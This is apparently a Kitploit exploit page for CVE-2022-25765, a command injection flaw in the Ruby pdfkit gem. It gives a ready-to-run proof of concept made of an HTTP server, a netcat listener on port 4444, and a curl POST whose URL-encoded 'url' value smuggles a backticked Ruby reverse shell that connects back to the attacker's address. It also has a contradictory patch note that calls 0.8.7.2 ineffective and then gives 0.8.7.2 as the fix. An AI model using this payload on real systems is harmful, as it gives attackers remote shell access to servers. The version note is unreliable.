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PDFkit-CMD-Injection — CVE-2022-25765 pdfkit <0.8.6 command injection. | Kitploit
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PDFkit-CMD-Injection

CVE-2022-25765 pdfkit <0.8.6 command injection.

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PDFkit-CMD-Injection

CVE-2022-25765 pdfkit <0.8.6 command injection.

The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized.

Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2

PoC

Start a HTTP server

root@kitploit:~
python3 -m http.server 80

Start a netcat listener

root@kitploit:~
nc -nlvp 4444

Make a request with CURL

root@kitploit:~
curl 'TARGET_ADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_ADDRESS' -H 'Connection: keep-alive' -H 'Referer: TARGET_ADDRESS' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-ADDRESS%3ALOCAL-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-ADDRESS%22%2CLOCAL-PORT%29%29%27%60'

Demo on HTB machine

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References

  • https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
  • https://vulert.com/vulnerability/rubygems-pdfkit-30907
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